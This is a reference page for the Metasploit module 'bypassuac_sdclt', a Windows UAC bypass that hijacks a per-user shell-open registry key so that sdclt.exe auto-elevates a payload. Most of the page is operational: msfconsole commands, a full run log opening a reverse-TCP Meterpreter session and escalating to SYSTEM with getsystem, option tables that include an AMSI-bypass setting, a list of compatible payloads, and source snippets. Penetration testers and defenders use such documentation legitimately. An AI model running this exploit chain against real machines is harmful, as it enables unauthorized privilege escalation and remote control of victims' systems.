Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key) - Metasploit
This page contains detailed information about how to use the exploit/windows/local/bypassuac_sdclt metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
Module: exploit/windows/local/bypassuac_sdclt
Source code: modules/exploits/windows/local/bypassuac_sdclt.rb
Disclosure date: 2017-03-17
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will bypass Windows UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when Window backup and restore is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key, but cleans up the key once the payload has been invoked.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- screen-effects: Module may show something on the screen (Example: a window pops up).
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/windows/local/bypassuac_sdclt
msf exploit(bypassuac_sdclt) > show targets
... a list of targets ...
msf exploit(bypassuac_sdclt) > set TARGET target-id
msf exploit(bypassuac_sdclt) > show options
... show and set options ...
msf exploit(bypassuac_sdclt) > set SESSION session-id
msf exploit(bypassuac_sdclt) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Introduction
This module exploits an autoelevate feature in the windows backup system's sdclt.exe binary to run as a higher integrity process.
Usage
- Create a session on the target system under the context of a local administrative user.
- Begin interacting with the module:
use exploit/windows/local/bypassuac_sdclt
. - Set the
PAYLOAD
and configure it correctly. - If an existing handler is configured to receive the elevated session, then the module's
handler should be disabled:
set DisablePayloadHandler true
. - Make sure that the
SESSION
value is set to the existing session identifier. - Invoke the module:
run
.
Scenarios
Windows 10.0.17134 x64
msf5 exploit(windows/local/bypassuac_sdclt) > show options
Module options (exploit/windows/local/bypassuac_sdclt):
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOAD_NAME no The filename to use for the payload binary (%RAND% by default).
SESSION 1 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.168 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
msf5 exploit(windows/local/bypassuac_sdclt) > run
[*] Started reverse TCP handler on 192.168.135.168:4444
[*] UAC is Enabled, checking level...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] win_dir = C:\Windows
[*] tmp_dir = C:\Users\msfuser\AppData\Local\Temp
[*] exploit_dir = C:\Windows\System32\
[*] exploit_file = C:\Windows\System32\sdclt.exe
[*] payload_pathname = C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe
[*] Making Payload
[*] reg_command = C:\Windows\System32\cmd.exe /c start C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe
[*] Uploading Payload to C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe
[*] Payload Upload Complete
[*] Launching C:\Windows\System32\sdclt.exe
[!] This exploit requires manual cleanup of 'C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe!
[*] Please wait for session and cleanup....
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 2 opened (192.168.135.168:4444 -> 192.168.132.125:49679) at 2019-10-25 14:55:08 -0500
[*] Removing Registry Changes
[*] Registry Changes Removed
meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: DESKTOP-D1E425Q\msfuser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/local/bypassuac_sdclt exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/bypassuac_sdclt
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_sdclt) > show info
Name: Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
Module: exploit/windows/local/bypassuac_sdclt
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-03-17
Provided by:
enigma0x3
bwatters-r7
Module side effects:
artifacts-on-disk
screen-effects
Available targets:
Id Name
-- ----
0 Windows x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOAD_NAME no The filename to use for the payload binary (%RAND% by default).
SESSION yes The session to run this module on.
Payload information:
Description:
This module will bypass Windows UAC by hijacking a special key in
the Registry under the current user hive, and inserting a custom
command that will get invoked when Window backup and restore is
launched. It will spawn a second shell that has the UAC flag turned
off. This module modifies a registry key, but cleans up the key once
the payload has been invoked.
References:
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1
https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
Module Options
This is a complete list of options available in the windows/local/bypassuac_sdclt exploit:
msf6 exploit(windows/local/bypassuac_sdclt) > show options
Module options (exploit/windows/local/bypassuac_sdclt):
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOAD_NAME no The filename to use for the payload binary (%RAND% by default).
SESSION yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
Advanced Options
Here is a complete list of advanced options supported by the windows/local/bypassuac_sdclt exploit:
msf6 exploit(windows/local/bypassuac_sdclt) > show advanced
Module advanced options (exploit/windows/local/bypassuac_sdclt):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/bypassuac_sdclt module can exploit:
msf6 exploit(windows/local/bypassuac_sdclt) > show targets
Exploit targets:
Id Name
-- ----
0 Windows x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/bypassuac_sdclt exploit:
msf6 exploit(windows/local/bypassuac_sdclt) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
37 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
38 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
39 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
40 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
41 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
42 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
43 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
44 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
45 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
46 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
47 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
48 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
49 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
50 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
51 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
52 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
53 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
55 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
56 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
57 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
58 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
59 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
60 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
61 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/bypassuac_sdclt exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/bypassuac_sdclt) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- UAC set to DoNotPrompt - using ShellExecute "runas" method instead
- Executing command failed:n<E>
- This exploit requires manual cleanup of '<PAYLOAD_PATHNAME>!
- Target is not vulnerable.
- Already in elevated state
- Cannot BypassUAC from Low Integrity Level
- Not in admins group, cannot escalate with this module
- Either whoami is not there or failed to execute
- Continuing under assumption you already checked...
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
UAC set to DoNotPrompt - using ShellExecute "runas" method instead
Here is a relevant code snippet related to the "UAC set to DoNotPrompt - using ShellExecute "runas" method instead" error message:
80: "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
81: when UAC_DEFAULT
82: print_good('UAC is set to Default')
83: print_good('BypassUAC can bypass this setting, continuing...')
84: when UAC_NO_PROMPT
85: print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
86: shell_execute_exe
87: return
88: end
89:
90: registry_key = 'HKCU\Software\Classes\Folder\shell\open\command'
Executing command failed:n<E>
Here is a relevant code snippet related to the "Executing command failed:n<E>" error message:
117:
118: vprint_status("Launching " + target_filepath)
119: begin
120: session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
121: rescue ::Exception => e
122: print_error("Executing command failed:\n#{e}")
123: end
124: print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
125: # wait for a few seconds before cleaning up
126: print_status("Please wait for session and cleanup....")
127: sleep(20)
This exploit requires manual cleanup of '<PAYLOAD_PATHNAME>!
Here is a relevant code snippet related to the "This exploit requires manual cleanup of '<PAYLOAD_PATHNAME>!" error message:
119: begin
120: session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
121: rescue ::Exception => e
122: print_error("Executing command failed:\n#{e}")
123: end
124: print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
125: # wait for a few seconds before cleaning up
126: print_status("Please wait for session and cleanup....")
127: sleep(20)
128: vprint_status("Removing Registry Changes")
129: if remove_registry_key
Target is not vulnerable.
Here is a relevant code snippet related to the "Target is not vulnerable." error message:
135: print_status("Registry Changes Removed")
136: end
137:
138: def check_permissions!
139: unless check == Exploit::CheckCode::Appears
140: fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
141: end
142: fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
143: # Check if you are an admin
144: # is_in_admin_group can be nil, true, or false
145: print_status('UAC is Enabled, checking level...')
Already in elevated state
Here is a relevant code snippet related to the "Already in elevated state" error message:
137:
138: def check_permissions!
139: unless check == Exploit::CheckCode::Appears
140: fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
141: end
142: fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
143: # Check if you are an admin
144: # is_in_admin_group can be nil, true, or false
145: print_status('UAC is Enabled, checking level...')
146: vprint_status('Checking admin status...')
147: case is_in_admin_group?
Cannot BypassUAC from Low Integrity Level
Here is a relevant code snippet related to the "Cannot BypassUAC from Low Integrity Level" error message:
146: vprint_status('Checking admin status...')
147: case is_in_admin_group?
148: when true
149: print_good('Part of Administrators group! Continuing...')
150: if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
151: fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
152: end
153: when false
154: fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
155: when nil
156: print_error('Either whoami is not there or failed to execute')
Not in admins group, cannot escalate with this module
Here is a relevant code snippet related to the "Not in admins group, cannot escalate with this module" error message:
149: print_good('Part of Administrators group! Continuing...')
150: if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
151: fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
152: end
153: when false
154: fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
155: when nil
156: print_error('Either whoami is not there or failed to execute')
157: print_error('Continuing under assumption you already checked...')
158: end
159: end
Either whoami is not there or failed to execute
Here is a relevant code snippet related to the "Either whoami is not there or failed to execute" error message:
151: fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
152: end
153: when false
154: fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
155: when nil
156: print_error('Either whoami is not there or failed to execute')
157: print_error('Continuing under assumption you already checked...')
158: end
159: end
160:
161: end
Continuing under assumption you already checked...
Here is a relevant code snippet related to the "Continuing under assumption you already checked..." error message:
151: fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
152: end
153: when false
154: fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
155: when nil
156: print_error('Either whoami is not there or failed to execute')
157: print_error('Continuing under assumption you already checked...')
158: end
159: end
160:
161: end
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12494 Merged Pull Request: Add Windows backup system sdclt uac bypass module
References
- CVE: Not available
- https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
- https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1
- https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
See Also
Check also the following modules related to this module:
- exploit/windows/local/bypassuac_comhijack
- exploit/windows/local/bypassuac_dotnet_profiler
- exploit/windows/local/bypassuac_eventvwr
- exploit/windows/local/bypassuac_fodhelper
- exploit/windows/local/bypassuac_injection
- exploit/windows/local/bypassuac_injection_winsxs
- exploit/windows/local/bypassuac_silentcleanup
- exploit/windows/local/bypassuac_sluihijack
- exploit/windows/local/bypassuac_vbs
- exploit/windows/local/bypassuac_windows_store_filesys
- exploit/windows/local/bypassuac_windows_store_reg
- exploit/windows/local/bypassuac
Authors
- enigma0x3
- bwatters-r7
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.